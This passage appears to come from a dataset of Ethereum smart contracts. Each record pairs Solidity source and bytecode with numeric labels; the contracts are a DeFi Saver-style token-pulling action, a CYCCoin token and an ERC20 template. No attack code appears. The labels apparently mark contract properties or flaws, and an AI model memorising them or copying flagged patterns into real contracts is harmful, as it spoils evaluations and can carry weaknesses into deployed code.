0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { payable(_to).transfer(_amount); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } abstract contract IManager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } contract InstPullTokens is ActionBase { using TokenUtils for address; struct Params { address dsaAddress; address[] tokens; uint256[] amounts; address to; } /// @inheritdoc ActionBase function executeAction( bytes memory _callData, bytes32[] memory, uint8[] memory, bytes32[] memory ) public payable virtual override returns (bytes32) { Params memory inputData = parseInputs(_callData); bytes memory logData = _pullTokens(inputData); emit ActionEvent("InstPullTokens", logData); return bytes32(0); } /// @inheritdoc ActionBase function executeActionDirect(bytes memory _callData) public payable override { Params memory inputData = parseInputs(_callData); bytes memory logData = _pullTokens(inputData); logger.logActionDirectEvent("InstPullTokens", logData); } /// @inheritdoc ActionBase function actionType() public pure virtual override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// function _pullTokens(Params memory _inputData) internal returns (bytes memory logData) { require (_inputData.to != address(0), "Receiver address can't be burn address"); bytes memory spellData = _createSpell(_inputData); (bool success, ) = _inputData.dsaAddress.call(spellData); require(success, "Withdrawing tokens from DSA failed"); logData = abi.encode(_inputData); } function _createSpell(Params memory _inputData) internal view returns (bytes memory) { require(_inputData.amounts.length == _inputData.tokens.length, "Arrays must be of the same size"); uint256 numOfTokens = _inputData.tokens.length; string[] memory _targetNames = new string[](numOfTokens); bytes[] memory _data = new bytes[](numOfTokens); address _origin = address(this); // connects dsaAccount with BASIC connector and transfers all tokens for (uint256 i = 0; i < numOfTokens; i++){ _targetNames[i] = "BASIC-A"; _data[i] = abi.encodeWithSignature( "withdraw(address,uint256,address,uint256,uint256)", _inputData.tokens[i], _inputData.amounts[i], _inputData.to, 0, 0 ); } return abi.encodeWithSignature("cast(string[],bytes[],address)", _targetNames, _data, _origin); } function parseInputs(bytes memory _callData) public pure returns (Params memory params) { params = abi.decode(_callData, (Params)); } }
0x6080604052600436106100dd5760003560e01c80638cedca711161007f5780639864dcdd116100595780639864dcdd14610239578063c579d4901461024e578063d3c2e7ed1461026e578063f24ccbfe1461028357600080fd5b80638cedca71146101c35780638df50f74146101eb5780639093410d1461020c57600080fd5b8063389f87ff116100bb578063389f87ff1461013757806341c0e1b51461014c5780637b103999146101615780638bcb6216146101ae57600080fd5b80630f2eee42146100e2578063247492f81461010e5780632fa13cb814610122575b600080fd5b3480156100ee57600080fd5b506100f7608081565b60405160ff90911681526020015b60405180910390f35b34801561011a57600080fd5b5060016100f7565b34801561012e57600080fd5b506100f7600081565b61014a610145366004610f81565b6102ab565b005b34801561015857600080fd5b5061014a61034d565b34801561016d57600080fd5b5061018973287778f121f134c66212fb16c9b53ec991d32f5b81565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610105565b3480156101ba57600080fd5b506100f7600181565b3480156101cf57600080fd5b5061018973ccf3d848e08b94478ed8f46ffead3008faf581fd81565b6101fe6101f9366004611045565b610437565b604051908152602001610105565b34801561021857600080fd5b5061022c610227366004610f81565b6104ca565b6040516101059190611190565b34801561024557600080fd5b506100f7607f81565b34801561025a57600080fd5b5061014a610269366004611273565b61053b565b34801561027a57600080fd5b506100f760ff81565b34801561028f57600080fd5b5061018973ce7a977cac4a481bc84ac06b2da0df614e621cf381565b60006102b6826104ca565b905060006102c3826106c3565b6040517ff4b24b5500000000000000000000000000000000000000000000000000000000815290915073ce7a977cac4a481bc84ac06b2da0df614e621cf39063f4b24b559061031690849060040161130c565b600060405180830381600087803b15801561033057600080fd5b505af1158015610344573d6000803e3d6000fd5b50505050505050565b3373ffffffffffffffffffffffffffffffffffffffff1673ccf3d848e08b94478ed8f46ffead3008faf581fd73ffffffffffffffffffffffffffffffffffffffff1663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e7919061136a565b73ffffffffffffffffffffffffffffffffffffffff1614610434576040517fa6c827a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b33ff5b600080610443866104ca565b90506000610450826106c3565b6040517f496e737450756c6c546f6b656e730000000000000000000000000000000000008152909150600e0160405180910390207f2b6d22f419271bcc89bbac8deec947c664365d6e24d06fef0ca7c325c704dce3826040516104b39190611387565b60405180910390a25060009150505b949350505050565b6105216040518060800160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016060815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b8180602001905181019061053591906113f5565b92915050565b3373ffffffffffffffffffffffffffffffffffffffff1673ccf3d848e08b94478ed8f46ffead3008faf581fd73ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d5919061136a565b73ffffffffffffffffffffffffffffffffffffffff1614610622576040517f19494c8a00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff8416141561069d5760405173ffffffffffffffffffffffffffffffffffffffff83169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b50505050565b6106be73ffffffffffffffffffffffffffffffffffffffff841683836108a4565b505050565b60608181015173ffffffffffffffffffffffffffffffffffffffff16610770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f526563656976657220616464726573732063616e2774206265206275726e206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b600061077b83610931565b90506000836000015173ffffffffffffffffffffffffffffffffffffffff16826040516107a89190611508565b6000604051808303816000865af19150503d80600081146107e5576040519150601f19603f3d011682016040523d82523d6000602084013e6107ea565b606091505b505090508061087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f5769746864726177696e6720746f6b656e732066726f6d20445341206661696c60448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610767565b8360405160200161088c9190611190565b60405160208183030381529060405292505050919050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001790526106be908490610c35565b6060816020015151826040015151146109a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f417272617973206d757374206265206f66207468652073616d652073697a65006044820152606401610767565b60208201515160008167ffffffffffffffff8111156109c7576109c7610e88565b6040519080825280602002602001820160405280156109fa57816020015b60608152602001906001900390816109e55790505b50905060008267ffffffffffffffff811115610a1857610a18610e88565b604051908082528060200260200182016040528015610a4b57816020015b6060815260200190600190039081610a365790505b5090503060005b84811015610bbd576040518060400160405280600781526020017f42415349432d4100000000000000000000000000000000000000000000000000815250848281518110610aa257610aa2611524565b602002602001018190525086602001518181518110610ac357610ac3611524565b602002602001015187604001518281518110610ae157610ae1611524565b6020908102919091010151606089015160405173ffffffffffffffffffffffffffffffffffffffff9384166024820152604481019290925291909116606482015260006084820181905260a482015260c40160408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f4bd3ab82000000000000000000000000000000000000000000000000000000001790528351849083908110610b9f57610b9f611524565b60200260200101819052508080610bb590611553565b915050610a52565b50828282604051602401610bd3939291906115b3565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9304c934000000000000000000000000000000000000000000000000000000001790529695505050505050565b6000610c97826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610d419092919063ffffffff16565b8051909150156106be5780806020019051810190610cb591906116a4565b6106be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610767565b60606104c284846000856060610d5685610e4f565b610d8c576040517f304619b500000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051610db59190611508565b60006040518083038185875af1925050503d8060008114610df2576040519150601f19603f3d011682016040523d82523d6000602084013e610df7565b606091505b50915091508115610e0b5791506104c29050565b805115610e1b5780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107679190611387565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708181148015906104c2575050151592915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040516080810167ffffffffffffffff81118282101715610eda57610eda610e88565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715610f0957610f09610e88565b604052919050565b600082601f830112610f2257600080fd5b813567ffffffffffffffff811115610f3c57610f3c610e88565b610f4f6020601f19601f84011601610ee0565b818152846020838601011115610f6457600080fd5b816020850160208301376000918101602001919091529392505050565b600060208284031215610f9357600080fd5b813567ffffffffffffffff811115610faa57600080fd5b6104c284828501610f11565b600067ffffffffffffffff821115610fd057610fd0610e88565b5060051b60200190565b600082601f830112610feb57600080fd5b81356020611000610ffb83610fb6565b610ee0565b82815260059290921b8401810191818101908684111561101f57600080fd5b8286015b8481101561103a5780358352918301918301611023565b509695505050505050565b6000806000806080858703121561105b57600080fd5b843567ffffffffffffffff8082111561107357600080fd5b61107f88838901610f11565b955060209150818701358181111561109657600080fd5b6110a289828a01610fda565b9550506040870135818111156110b757600080fd5b8701601f810189136110c857600080fd5b80356110d6610ffb82610fb6565b81815260059190911b8201840190848101908b8311156110f557600080fd5b928501925b8284101561112357833560ff811681146111145760008081fd5b825292850192908501906110fa565b9650505050606087013591508082111561113c57600080fd5b5061114987828801610fda565b91505092959194509250565b600081518084526020808501945080840160005b8381101561118557815187529582019590820190600101611169565b509495945050505050565b6000602080835260a0830173ffffffffffffffffffffffffffffffffffffffff8086511683860152828601516080604087015282815180855260c0880191508583019450600092505b808310156111fb578451841682529385019360019290920191908501906111d9565b5060408801519450601f198782030160608801526112198186611155565b9450505050506060840151611246608085018273ffffffffffffffffffffffffffffffffffffffff169052565b509392505050565b73ffffffffffffffffffffffffffffffffffffffff8116811461127057600080fd5b50565b60008060006060848603121561128857600080fd5b83356112938161124e565b925060208401356112a38161124e565b929592945050506040919091013590565b60005b838110156112cf5781810151838201526020016112b7565b838111156106975750506000910152565b600081518084526112f88160208601602086016112b4565b601f01601f19169290920160200192915050565b60408152600e60408201527f496e737450756c6c546f6b656e73000000000000000000000000000000000000606082015260806020820152600061135360808301846112e0565b9392505050565b80516113658161124e565b919050565b60006020828403121561137c57600080fd5b81516113538161124e565b60208152600061135360208301846112e0565b600082601f8301126113ab57600080fd5b815160206113bb610ffb83610fb6565b82815260059290921b840181019181810190868411156113da57600080fd5b8286015b8481101561103a57805183529183019183016113de565b6000602080838503121561140857600080fd5b825167ffffffffffffffff8082111561142057600080fd5b908401906080828703121561143457600080fd5b61143c610eb7565b82516114478161124e565b8152828401518281111561145a57600080fd5b8301601f8101881361146b57600080fd5b8051611479610ffb82610fb6565b81815260059190911b8201860190868101908a83111561149857600080fd5b928701925b828410156114bf5783516114b08161124e565b8252928701929087019061149d565b80888601525050505060408301519350818411156114dc57600080fd5b6114e88785850161139a565b60408201526114f96060840161135a565b60608201529695505050505050565b6000825161151a8184602087016112b4565b9190910192915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156115ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b6000606082016060835280865180835260808501915060808160051b8601019250602080890160005b83811015611628577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808887030185526116168683516112e0565b955093820193908201906001016115dc565b505085840381870152875180855281850193509150600582901b8401810188820160005b8481101561167a57601f198784030186526116688383516112e0565b9584019592509083019060010161164c565b505073ffffffffffffffffffffffffffffffffffffffff8816604088015294506104c29350505050565b6000602082840312156116b657600080fd5b8151801515811461135357600080fdfea26469706673582212203a534fdfb9b88d895d2e4e9361a1375d590c38f16b37ad68bf17dbb45839bdcc64736f6c634300080a0033
[ 17, 2 ]
0xf2c893cc574f1366a3a21a256951e01b75459254
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract CustomToken is BaseToken { function CustomToken() public { totalSupply = 100000000000000000000000000; name = 'CYCCoin'; symbol = 'CYCC'; decimals = 18; balanceOf[0x696423542f85B50fF3CA396A317De3abCb82f1c2] = totalSupply; Transfer(address(0), 0x696423542f85B50fF3CA396A317De3abCb82f1c2, totalSupply); } }
0x6080604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461009d578063095ea7b31461012757806318160ddd1461015f57806323b872dd14610186578063313ce567146101b057806370a08231146101db57806395d89b41146101fc578063a9059cbb14610211578063dd62ed3e14610235575b600080fd5b3480156100a957600080fd5b506100b261025c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100ec5781810151838201526020016100d4565b50505050905090810190601f1680156101195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013357600080fd5b5061014b600160a060020a03600435166024356102ea565b604080519115158252519081900360200190f35b34801561016b57600080fd5b50610174610350565b60408051918252519081900360200190f35b34801561019257600080fd5b5061014b600160a060020a0360043581169060243516604435610356565b3480156101bc57600080fd5b506101c56103c5565b6040805160ff9092168252519081900360200190f35b3480156101e757600080fd5b50610174600160a060020a03600435166103ce565b34801561020857600080fd5b506100b26103e0565b34801561021d57600080fd5b5061014b600160a060020a036004351660243561043a565b34801561024157600080fd5b50610174600160a060020a0360043581169060243516610450565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102e25780601f106102b7576101008083540402835291602001916102e2565b820191906000526020600020905b8154815290600101906020018083116102c557829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561038657600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020805483900390556103bb84848461046d565b5060019392505050565b60025460ff1681565b60046020526000908152604090205481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102e25780601f106102b7576101008083540402835291602001916102e2565b600061044733848461046d565b50600192915050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a038316151561048457600080fd5b600160a060020a0384166000908152600460205260409020548211156104a957600080fd5b600160a060020a038316600090815260046020526040902054828101116104cf57600080fd5b50600160a060020a03828116600090815260046020526040808220805493871683529120805484810382558254850192839055905492019101811461051057fe5b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050505600a165627a7a7230582070ebe91e8a7db9c7c8af599dd41904dc706a8b108da87c247a01c85f086838a00029
[ 38 ]
0xf2c8b6b32e734850d906aa57e431f53b7d2889a7
/** // SPDX-License-Identifier: Unlicensed */ pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor 